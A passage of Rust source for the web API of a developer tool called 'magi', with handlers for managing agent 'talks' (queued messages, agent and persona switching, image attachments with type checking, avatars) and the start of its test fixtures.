7161 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7164 if live.parking {
7165 if let Some(turn) = turn.take() {
7166 turn.release(&mut live);
7167 }
7168 break;
7169 }
7170 }
7171 let observed = live_set
7175 .lock()
7176 .unwrap_or_else(PoisonError::into_inner)
7177 .queued
7178 .get(&id)
7179 .copied()
7180 .unwrap_or(0);
7181 let drained = blocking({
7182 let talks = talks.clone();
7183 let live_set = Arc::clone(&live_set);
7184 move || {
7185 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7190 let result = if live.parking {
7191 Ok(None)
7192 } else {
7193 talk::drain(&mut talk, &talks)
7194 };
7195 drop(live);
7196 Ok((talk, result))
7197 }
7198 })
7199 .await;
7200 let (next_talk, result) = match drained {
7201 Ok(drained) => drained,
7202 Err(e) => {
7203 tracing::warn!(
7204 status = %e.status,
7205 message = %e.message,
7206 "talk {id} could not start queued-text drain"
7207 );
7208 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7209 turn.take()
7210 .expect("held for the whole loop until released here")
7211 .release(&mut live);
7212 break;
7213 }
7214 };
7215 talk = next_talk;
7216 let drained = match result {
7217 Ok(Some(drained)) => drained,
7218 Ok(None) => {
7219 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7220 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7221 continue;
7222 }
7223 turn.take()
7224 .expect("held for the whole loop until released here")
7225 .release(&mut live);
7226 break;
7227 }
7228 Err(e) => {
7229 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7230 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7231 turn.take()
7232 .expect("held for the whole loop until released here")
7233 .release(&mut live);
7234 break;
7235 }
7236 };
7237 if let Some(started) = started.take() {
7238 let _ = started.send(true);
7239 }
7240 let responded = match turn.as_ref() {
7241 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7242 None => Err(anyhow::anyhow!("the turn guard was released")),
7243 };
7244 if let Err(e) = responded {
7245 tracing::warn!("talk {id} turn failed: {e:#}");
7246 }
7247 }
7248 drop(turn);
7249 if let Some(started) = started {
7250 let _ = started.send(false);
7251 }
7252}
7253
7254async fn talk_pending_clear(
7256 State(ui): State<Arc<Ui>>,
7257 Path(id): Path<String>,
7258 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7259) -> ApiResult<Json<TalkView>> {
7260 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7261 blocking(move || {
7262 let id = resolve_talk(&ui.talks, &id)?;
7263 let mut talk = ui.talks.get(&id)?;
7264 if !talk.status.open() {
7265 return Err(ApiError::conflict(format!(
7266 "talk {} is {} and takes no more turns",
7267 talk.short(),
7268 talk.status.as_str()
7269 )));
7270 }
7271 if !talk::clear_pending_if_matches(
7272 &mut talk,
7273 &ui.talks,
7274 &body.expected_text,
7275 &body.expected_attachments,
7276 )? {
7277 return Err(ApiError::conflict(
7278 "queued message changed; reload it before clearing",
7279 ));
7280 }
7281 let thinking = ui.is_thinking(&talk.id);
7282 Ok(Json(TalkView::new(talk, thinking)))
7283 })
7284 .await
7285}
7286
7287async fn talk_pending_edit(
7291 State(ui): State<Arc<Ui>>,
7292 Path(id): Path<String>,
7293 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7294) -> ApiResult<Json<TalkView>> {
7295 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7296 let (view, reclaimed) = blocking({
7297 let ui = Arc::clone(&ui);
7298 move || {
7299 let id = resolve_talk(&ui.talks, &id)?;
7300 let mut talk = ui.talks.get(&id)?;
7301 if !talk.status.open() {
7302 return Err(ApiError::conflict(format!(
7303 "talk {} is {} and takes no more turns",
7304 talk.short(),
7305 talk.status.as_str()
7306 )));
7307 }
7308 if !talk::edit_pending_message(
7309 &mut talk,
7310 &ui.talks,
7311 &body.text,
7312 &body.expected_text,
7313 &body.expected_attachments,
7314 body.message,
7315 )? {
7316 return Err(ApiError::conflict(
7317 "queued message changed; reload it before editing",
7318 ));
7319 }
7320 let claim = match ui.begin_queued_talk_turn(&id)? {
7321 Some(turn_guard) => {
7322 let (cfg, _) = Config::discover(&talk.repo, None)?;
7323 Some((talk.clone(), cfg, id.clone(), turn_guard))
7324 }
7325 None => None,
7326 };
7327 let thinking = ui.is_thinking(&id);
7328 Ok((TalkView::new(talk, thinking), claim))
7329 }
7330 })
7331 .await?;
7332 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7333 let talks = ui.talks.clone();
7334 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7335 }
7336 Ok(Json(view))
7337}
7338
7339fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7341 if talk.status.open() {
7342 return Ok(());
7343 }
7344 Err(ApiError::conflict(format!(
7345 "talk {} is {} and takes no more turns",
7346 talk.short(),
7347 talk.status.as_str()
7348 )))
7349}
7350
7351#[derive(Debug, Deserialize)]
7353struct TalkAgent {
7354 agent: String,
7355}
7356
7357async fn talk_agent(
7362 State(ui): State<Arc<Ui>>,
7363 Path(id): Path<String>,
7364 Json(body): Json<TalkAgent>,
7365) -> ApiResult<Json<TalkView>> {
7366 let id = {
7367 let ui = Arc::clone(&ui);
7368 blocking(move || resolve_talk(&ui.talks, &id)).await?
7369 };
7370 let repo = {
7371 let ui = Arc::clone(&ui);
7372 let id = id.clone();
7373 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7374 };
7375 let cfg = config_for(&repo).await?;
7376 {
7378 let ui = Arc::clone(&ui);
7379 let id = id.clone();
7380 let cfg = cfg.clone();
7381 let wanted = body.agent.clone();
7382 blocking(move || {
7383 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7384 .map_err(ApiError::bad_request_from)?;
7385 refuse_if_closed(&ui.talks.get(&id)?)
7386 })
7387 .await?;
7388 }
7389 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7390 return Err(ApiError::conflict(
7391 "a talk turn is running; change the agent once it has answered",
7392 ));
7393 };
7394 let switched = {
7395 let ui = Arc::clone(&ui);
7396 let id = id.clone();
7397 let cfg = cfg.clone();
7398 blocking(move || {
7399 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7400 .map_err(ApiError::bad_request_from)?;
7401 let mut talk = ui.talks.get(&id)?;
7402 if !talk.status.open() {
7403 return Err(ApiError::conflict(format!(
7404 "talk {} is {} and takes no more turns",
7405 talk.short(),
7406 talk.status.as_str()
7407 )));
7408 }
7409 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7410 Ok(talk)
7411 })
7412 .await
7413 };
7414 let observed = ui.queued_generation(&id);
7419 let fresh = {
7420 let ui = Arc::clone(&ui);
7421 let id = id.clone();
7422 blocking(move || Ok(ui.talks.get(&id)?)).await
7423 };
7424 let draining = match fresh {
7425 Ok(talk) => {
7426 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7427 }
7428 Err(_) => false,
7429 };
7430 let talk = switched?;
7431 Ok(Json(TalkView::new(talk, draining)))
7432}
7433
7434#[derive(Debug, Deserialize)]
7436struct TalkPersona {
7437 persona: String,
7438}
7439
7440async fn talk_persona(
7444 State(ui): State<Arc<Ui>>,
7445 Path(id): Path<String>,
7446 Json(body): Json<TalkPersona>,
7447) -> ApiResult<Json<TalkView>> {
7448 let id = {
7449 let ui = Arc::clone(&ui);
7450 blocking(move || resolve_talk(&ui.talks, &id)).await?
7451 };
7452 let repo = {
7453 let ui = Arc::clone(&ui);
7454 let id = id.clone();
7455 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7456 };
7457 let cfg = config_for(&repo).await?;
7458 {
7460 let ui = Arc::clone(&ui);
7461 let id = id.clone();
7462 let cfg = cfg.clone();
7463 let wanted = body.persona.clone();
7464 blocking(move || {
7465 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7466 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7467 }
7468 refuse_if_closed(&ui.talks.get(&id)?)
7469 })
7470 .await?;
7471 }
7472 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7473 return Err(ApiError::conflict(
7474 "a talk turn is running; change the persona once it has answered",
7475 ));
7476 };
7477 let switched = {
7478 let ui = Arc::clone(&ui);
7479 let id = id.clone();
7480 let cfg = cfg.clone();
7481 blocking(move || {
7482 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7483 return Err(ApiError::bad_request(format!(
7484 "unknown persona `{}`",
7485 body.persona
7486 )));
7487 };
7488 let mut talk = ui.talks.get(&id)?;
7489 if !talk.status.open() {
7490 return Err(ApiError::conflict(format!(
7491 "talk {} is {} and takes no more turns",
7492 talk.short(),
7493 talk.status.as_str()
7494 )));
7495 }
7496 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7497 Ok(talk)
7498 })
7499 .await
7500 };
7501 let observed = ui.queued_generation(&id);
7503 let fresh = {
7504 let ui = Arc::clone(&ui);
7505 let id = id.clone();
7506 blocking(move || Ok(ui.talks.get(&id)?)).await
7507 };
7508 let draining = match fresh {
7509 Ok(talk) => {
7510 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7511 }
7512 Err(_) => false,
7513 };
7514 let talk = switched?;
7515 Ok(Json(TalkView::new(talk, draining)))
7516}
7517
7518#[derive(Debug, Deserialize)]
7520struct TalkImplementers {
7521 implementers: u8,
7522}
7523
7524async fn talk_implementers(
7528 State(ui): State<Arc<Ui>>,
7529 Path(id): Path<String>,
7530 Json(body): Json<TalkImplementers>,
7531) -> ApiResult<Json<TalkView>> {
7532 let id = {
7533 let ui = Arc::clone(&ui);
7534 blocking(move || resolve_talk(&ui.talks, &id)).await?
7535 };
7536 let repo = {
7537 let ui = Arc::clone(&ui);
7538 let id = id.clone();
7539 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7540 };
7541 let cfg = config_for(&repo).await?;
7542 {
7547 let ui = Arc::clone(&ui);
7548 let id = id.clone();
7549 let cfg = cfg.clone();
7550 let wanted = body.implementers;
7551 blocking(move || {
7552 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7553 refuse_if_closed(&ui.talks.get(&id)?)
7554 })
7555 .await?;
7556 }
7557 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7558 return Err(ApiError::conflict(
7559 "a talk turn is running; change the implementers once it has answered",
7560 ));
7561 };
7562 let switched = {
7563 let ui = Arc::clone(&ui);
7564 let id = id.clone();
7565 let cfg = cfg.clone();
7566 blocking(move || {
7567 let chosen =
7568 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7569 let mut talk = ui.talks.get(&id)?;
7570 if !talk.status.open() {
7571 return Err(ApiError::conflict(format!(
7572 "talk {} is {} and takes no more turns",
7573 talk.short(),
7574 talk.status.as_str()
7575 )));
7576 }
7577 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7578 Ok(talk)
7579 })
7580 .await
7581 };
7582 let observed = ui.queued_generation(&id);
7584 let fresh = {
7585 let ui = Arc::clone(&ui);
7586 let id = id.clone();
7587 blocking(move || Ok(ui.talks.get(&id)?)).await
7588 };
7589 let draining = match fresh {
7590 Ok(talk) => {
7591 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7592 }
7593 Err(_) => false,
7594 };
7595 let talk = switched?;
7596 Ok(Json(TalkView::new(talk, draining)))
7597}
7598
7599async fn talk_close(
7601 State(ui): State<Arc<Ui>>,
7602 Path(id): Path<String>,
7603) -> ApiResult<Json<TalkView>> {
7604 blocking(move || {
7605 let id = resolve_talk(&ui.talks, &id)?;
7606 let mut talk = ui.talks.get(&id)?;
7607 talk::close(&mut talk, &ui.talks)?;
7608 let thinking = ui.is_thinking(&talk.id);
7609 Ok(Json(TalkView::new(talk, thinking)))
7610 })
7611 .await
7612}
7613
7614async fn talk_reopen(
7616 State(ui): State<Arc<Ui>>,
7617 Path(id): Path<String>,
7618) -> ApiResult<Json<TalkView>> {
7619 blocking(move || {
7620 let id = resolve_talk(&ui.talks, &id)?;
7621 let mut talk = ui.talks.get(&id)?;
7622 talk::reopen(&mut talk, &ui.talks)?;
7623 let thinking = ui.is_thinking(&talk.id);
7624 Ok(Json(TalkView::new(talk, thinking)))
7625 })
7626 .await
7627}
7628
7629async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7639 blocking(move || {
7640 let id = resolve_talk(&ui.talks, &id)?;
7641 ui.talks.remove(&id)?;
7642 Ok(StatusCode::NO_CONTENT)
7643 })
7644 .await
7645}
7646
7647fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7649 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7650}
7651
7652async fn talk_attachment_post(
7655 State(ui): State<Arc<Ui>>,
7656 Path(id): Path<String>,
7657 headers: HeaderMap,
7658 body: Bytes,
7659) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7660 let mime = validate_attachment(&headers, &body)?;
7661 let name = filename_header(&headers);
7662 let data = body.to_vec();
7663 blocking(move || {
7664 let id = resolve_talk(&ui.talks, &id)?;
7665 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7666 Ok((StatusCode::CREATED, Json(att)))
7667 })
7668 .await
7669}
7670
7671async fn talk_attachment_get(
7674 State(ui): State<Arc<Ui>>,
7675 Path((id, att)): Path<(String, String)>,
7676) -> ApiResult<Response> {
7677 blocking(move || {
7678 let id = resolve_talk(&ui.talks, &id)?;
7679 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7680 return Err(ApiError::not_found(format!(
7681 "talk {id} has no attachment `{att}`"
7682 )));
7683 };
7684 Ok(attachment_response(&meta.mime, data))
7685 })
7686 .await
7687}
7688
7689fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7692 let mut id = String::new();
7693 for b in p.id.bytes() {
7694 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7695 id.push(char::from(b));
7696 } else {
7697 id.push_str(&format!("%{b:02X}"));
7698 }
7699 }
7700 format!(
7701 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7702 persona_icon::fingerprint(p.icon.as_deref())
7703 )
7704}
7705
7706#[derive(Debug, Default, Deserialize)]
7707struct AvatarQuery {
7708 persona: Option<String>,
7709 builtin: Option<String>,
7711}
7712
7713const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7715
7716fn builtin_avatar(id: &str) -> Response {
7717 (
7718 [
7719 (header::CONTENT_TYPE, "image/svg+xml"),
7720 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7721 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7722 (header::CACHE_CONTROL, "no-cache"),
7723 ],
7724 persona_icon::builtin_svg(id),
7725 )
7726 .into_response()
7727}
7728
7729async fn talk_avatar(
7734 State(ui): State<Arc<Ui>>,
7735 Path(id): Path<String>,
7736 Query(q): Query<AvatarQuery>,
7737) -> ApiResult<Response> {
7738 blocking(move || {
7739 let id = resolve_talk(&ui.talks, &id)?;
7740 let talk = ui.talks.get(&id)?;
7741 let wanted = q
7742 .persona
7743 .as_deref()
7744 .map(str::trim)
7745 .filter(|p| !p.is_empty())
7746 .unwrap_or(&talk.persona)
7747 .to_owned();
7748 let specs = match Config::discover(&talk.repo, None) {
7749 Ok((cfg, _)) => cfg.talk.personas,
7750 Err(e) => {
7751 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7752 Vec::new()
7753 }
7754 };
7755 let Some(found) = persona::find(&specs, &wanted) else {
7756 return Ok(builtin_avatar(persona::DEFAULT_ID));
7757 };
7758 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7759 return Ok(builtin_avatar(&found.id));
7760 };
7761 match persona_icon::load(icon) {
7762 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7763 let mut res = attachment_response(mime, bytes);
7764 res.headers_mut().insert(
7765 header::CACHE_CONTROL,
7766 header::HeaderValue::from_static("no-cache"),
7767 );
7768 Ok(res)
7769 }
7770 Ok((mime, _)) => {
7771 tracing::warn!(
7772 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7773 found.id
7774 );
7775 Ok(builtin_avatar(&found.id))
7776 }
7777 Err(e) => {
7778 tracing::warn!(
7779 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7780 found.id
7781 );
7782 Ok(builtin_avatar(&found.id))
7783 }
7784 }
7785 })
7786 .await
7787}
7788
7789fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7800 if data.len() > ATTACHMENT_MAX_BYTES {
7801 return Err(ApiError::bad_request(format!(
7802 "attachment is {} bytes, over the {} MiB limit",
7803 data.len(),
7804 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7805 ))
7806 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7807 }
7808 if data.is_empty() {
7809 return Err(ApiError::bad_request("attachment is empty"));
7810 }
7811 let declared = declared_mime(headers)?;
7812 match sniffed_mime(data) {
7813 Some(sniffed) if sniffed == declared => Ok(declared),
7814 Some(sniffed) => Err(ApiError::bad_request(format!(
7815 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7816 ))),
7817 None => Err(ApiError::bad_request(
7818 "the file's bytes do not match any accepted image format",
7819 )),
7820 }
7821}
7822
7823fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7827 let raw = headers
7828 .get(header::CONTENT_TYPE)
7829 .and_then(|v| v.to_str().ok())
7830 .unwrap_or("")
7831 .split(';')
7832 .next()
7833 .unwrap_or("")
7834 .trim()
7835 .to_ascii_lowercase();
7836 ATTACHMENT_MIME_WHITELIST
7837 .iter()
7838 .find(|&&m| m == raw)
7839 .copied()
7840 .ok_or_else(|| {
7841 if raw == "image/svg+xml" {
7842 ApiError::bad_request(
7843 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7844 not just a picture",
7845 )
7846 } else if raw.is_empty() {
7847 ApiError::bad_request("Content-Type is required for an attachment upload")
7848 } else {
7849 ApiError::bad_request(format!(
7850 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7851 image/gif or image/webp"
7852 ))
7853 }
7854 })
7855}
7856
7857fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7860 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7861 Some("image/png")
7862 } else if data.starts_with(b"\xff\xd8\xff") {
7863 Some("image/jpeg")
7864 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7865 Some("image/gif")
7866 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7867 Some("image/webp")
7868 } else {
7869 None
7870 }
7871}
7872
7873fn filename_header(headers: &HeaderMap) -> String {
7879 headers
7880 .get(FILENAME_HEADER)
7881 .and_then(|v| v.to_str().ok())
7882 .map(str::trim)
7883 .filter(|s| !s.is_empty())
7884 .unwrap_or("attachment")
7885 .to_owned()
7886}
7887
7888fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7895 let content_type = ATTACHMENT_MIME_WHITELIST
7896 .iter()
7897 .find(|&&m| m == mime)
7898 .copied()
7899 .unwrap_or("application/octet-stream");
7900 (
7901 [
7902 (header::CONTENT_TYPE, content_type),
7903 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7904 ],
7905 body,
7906 )
7907 .into_response()
7908}
7909
7910async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7918 let repo = repo.to_path_buf();
7919 blocking(move || {
7920 let (cfg, _) = Config::discover(&repo, None)?;
7921 Ok(cfg)
7922 })
7923 .await
7924}
7925
7926fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7932 let mut hits = ids
7933 .into_iter()
7934 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7935 match (hits.next(), hits.next()) {
7936 (Some(one), None) => Ok(one),
7937 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7938 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7939 "`{prefix}` matches more than one {what}, including {a} and {b}"
7940 ))),
7941 }
7942}
7943
7944#[cfg(test)]
7945mod tests {
7946
7947 #[test]
7948 fn holder_reads_the_lease_not_the_record() {
7949 let mut q = Question::new(
7950 "run".to_owned(),
7951 "implement".to_owned(),
7952 "impl-A".to_owned(),
7953 "which?".to_owned(),
7954 String::new(),
7955 Vec::new(),
7956 );
7957 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7958 q.cwd = Some("/tmp".to_owned());
7959 assert_eq!(holder_of(&q, None), Some("nobody"));
7960 let beat = |kind, ago: i64| ask::Lease {
7961 kind,
7962 pid: 1,
7963 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7964 .unwrap(),
7965 };
7966 let fresh = beat(ask::WaiterKind::Asker, 1);
7967 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7968 let daemon = beat(ask::WaiterKind::Daemon, 1);
7969 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7970 let stale = beat(ask::WaiterKind::Asker, 3600);
7971 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7972
7973 let mut c = Question::new(
7976 "task".to_owned(),
7977 crate::conduct::NODE.to_owned(),
7978 "conduct".to_owned(),
7979 "which?".to_owned(),
7980 String::new(),
7981 Vec::new(),
7982 );
7983 assert_eq!(holder_of(&c, None), Some("nobody"));
7984 c.cwd = Some("/tmp".to_owned());
7985 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7986 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7987 let deputy = beat(ask::WaiterKind::Deputy, 1);
7988 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7989 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7990
7991 let mut r = Question::new(
7993 String::new(),
7994 crate::bump::NOTICE_NODE.to_owned(),
7995 "release-watch".to_owned(),
7996 "stuck?".to_owned(),
7997 String::new(),
7998 vec!["hold".to_owned()],
7999 );
8000 assert_eq!(holder_of(&r, None), Some("nobody"));
8001 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8002 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8003 r.deputy = None;
8005 r.seat = "bump".to_owned();
8006 assert_eq!(holder_of(&r, None), None);
8007
8008 let mut m = Question::new(
8011 "run".to_owned(),
8012 crate::land::APPROVAL_NODE.to_owned(),
8013 "land".to_owned(),
8014 "merge?".to_owned(),
8015 String::new(),
8016 Vec::new(),
8017 );
8018 assert_eq!(holder_of(&m, None), Some("nobody"));
8019 assert_eq!(
8020 holder_of(&m, Some(&fresh)),
8021 Some("nobody"),
8022 "a lease with no deputy is not a listener"
8023 );
8024 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8025 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8026 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8027 assert_eq!(holder_of(&m, None), Some("nobody"));
8028 }
8029
8030 fn stub_config() -> Config {
8031 Config {
8034 agents: vec![crate::config::AgentSpec {
8035 id: "stub".to_owned(),
8036 kind: AgentKind::Command,
8037 model: None,
8038 command: vec!["true".to_owned()],
8039 extra_args: Vec::new(),
8040 env: Default::default(),
8041 prompt_delivery: None,
8042 }],
8043 ..Config::default()
8044 }
8045 }
8046
8047 fn plain_question(seat: &str) -> Question {
8048 Question::new(
8049 String::new(),
8050 "n".to_owned(),
8051 seat.to_owned(),
8052 "s".to_owned(),
8053 String::new(),
8054 Vec::new(),
8055 )
8056 }
8057
8058 #[test]
8059 fn deputies_enabled_follows_the_config() {
8060 let on = stub_config();
8061 assert!(crate::deputy::can_start(Some(&on), ""));
8062 assert!(crate::deputy::can_start(Some(&on), "stub"));
8063 let mut off = on.clone();
8064 off.daemon.max_deputies = 0;
8065 assert!(!crate::deputy::can_start(Some(&off), ""));
8066 let mut empty = on;
8067 empty.agents.clear();
8068 assert!(!crate::deputy::can_start(Some(&empty), ""));
8069 assert!(!crate::deputy::can_start(None, ""));
8070 }
8071
8072 #[test]
8073 fn question_views_load_the_config_once() {
8074 let dir = TempDir::new().unwrap();
8075 let store = ask::Questions::at(dir.path().to_path_buf());
8076 let mut with_deputy = plain_question("b");
8077 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8078 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8079
8080 let calls = std::cell::Cell::new(0usize);
8081 let views = question_views(qs.clone(), &store, || {
8082 calls.set(calls.get() + 1);
8083 Some(stub_config())
8084 });
8085 assert_eq!(calls.get(), 1);
8086 assert_eq!(views.len(), 3);
8087 for (v, q) in views.iter().zip(&qs) {
8088 assert_eq!(
8089 v.deputies_enabled,
8090 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8091 );
8092 }
8093
8094 let views = question_views(qs, &store, || None);
8095 assert!(views.iter().all(|v| !v.deputies_enabled));
8096
8097 let calls = std::cell::Cell::new(0usize);
8098 let views = question_views(Vec::new(), &store, || {
8099 calls.set(calls.get() + 1);
8100 None
8101 });
8102 assert!(views.is_empty());
8103 assert_eq!(calls.get(), 0);
8104 }
8105
8106 use pretty_assertions::assert_eq;
8107 use serde_json::Value;
8108 use tempfile::TempDir;
8109 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8110
8111 use super::*;
8112 use crate::config::Config;
8113 use crate::queue::Source;
8114
8115 const SETTLE_STEPS: usize = 3_000;
8126
8127 struct Fixture {
8133 home: TempDir,
8134 addr: SocketAddr,
8135 }
8136
8137 impl Fixture {
8138 async fn start() -> Self {
8139 Self::with_loop(launch_idle).await
8140 }
8141
8142 async fn with_loop(launch: Launch) -> Self {
8144 let home = TempDir::new().expect("temp home");
8145 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8146 Self { home, addr }
8147 }
8148
8149 async fn with_repo(repo: PathBuf) -> Self {
8153 let home = TempDir::new().expect("temp home");
8154 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8155 Self { home, addr }
8156 }
8157
8158 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8161 let home = TempDir::new().expect("temp home");
8162 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8163 Self { home, addr }
8164 }
8165
8166 async fn serve(
8167 home: &FsPath,
8168 repo: PathBuf,
8169 launch: Launch,
8170 machine: Option<PathBuf>,
8171 ) -> SocketAddr {
8172 let queue = Queue::at(home.join("queue"));
8173 let runs = home.join("runs");
8174 std::fs::create_dir_all(&runs).expect("runs dir");
8175 let worktrees = home.join("wt").join("magi");
8176 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8177 let ui = Ui::new(
8178 queue,
8179 Questions::at(home.join("questions")),
8180 Talks::at(home.join("talks")),
8181 runs,
8182 home.to_path_buf(),
8183 repo,
8184 )
8185 .with_worktrees_root(worktrees)
8186 .with_machine_config(machine)
8187 .with_launch(launch);
8188 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8189 .await
8190 .expect("bind loopback");
8191 let addr = listener.local_addr().expect("local addr");
8192 tokio::spawn(async move {
8193 let router = ui
8194 .router()
8195 .layer(axum::middleware::from_fn(request_cost::observe));
8196 let _ = axum::serve(listener, router).await;
8197 });
8198 addr
8199 }
8200
8201 fn queue(&self) -> Queue {
8202 Queue::at(self.home.path().join("queue"))
8203 }
8204
8205 fn questions(&self) -> Questions {
8206 Questions::at(self.home.path().join("questions"))
8207 }
8208
8209 fn talks(&self) -> Talks {
8210 Talks::at(self.home.path().join("talks"))
8211 }
8212
8213 fn runs(&self) -> PathBuf {
8214 self.home.path().join("runs")
8215 }
8216
8217 async fn get(&self, path: &str) -> Res {
8218 request(self.addr, "GET", path, None).await
8219 }
8220
8221 async fn head(&self, path: &str) -> Res {
8226 request(self.addr, "HEAD", path, None).await
8227 }
8228
8229 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8230 request(self.addr, "POST", path, body).await
8231 }
8232
8233 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8234 request_with(self.addr, "GET", path, None, extra).await
8235 }
8236
8237 async fn delete(&self, path: &str) -> Res {
8238 request(self.addr, "DELETE", path, None).await
8239 }
8240
8241 async fn put(&self, path: &str, body: &str) -> Res {
8242 request(self.addr, "PUT", path, Some(body)).await
8243 }
8244
8245 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8247 request_bytes(self.addr, path, headers, body).await
8248 }
8249 }
8250
8251 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8254 let tmp = TempDir::new().unwrap();
8255 let mut repos = Vec::new();
8256 for name in ["one", "two"] {
8257 let repo = tmp.path().join(name);
8258 let origin = tmp.path().join(format!("{name}.git"));
8259 std::fs::create_dir_all(&repo).unwrap();
8260 crate::git::git(&repo, &["init", "-b", "main"])
8261 .await
8262 .unwrap();
8263 std::fs::write(
8264 repo.join("magi.toml"),
8265 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8266 )
8267 .unwrap();
8268 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8269 crate::git::git(
8270 &repo,
8271 &[
8272 "-c",
8273 "user.name=fixture",
8274 "-c",
8275 "user.email=fixture@example.invalid",
8276 "commit",
8277 "-m",
8278 "fixture",
8279 ],
8280 )
8281 .await
8282 .unwrap();
8283 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8284 .await
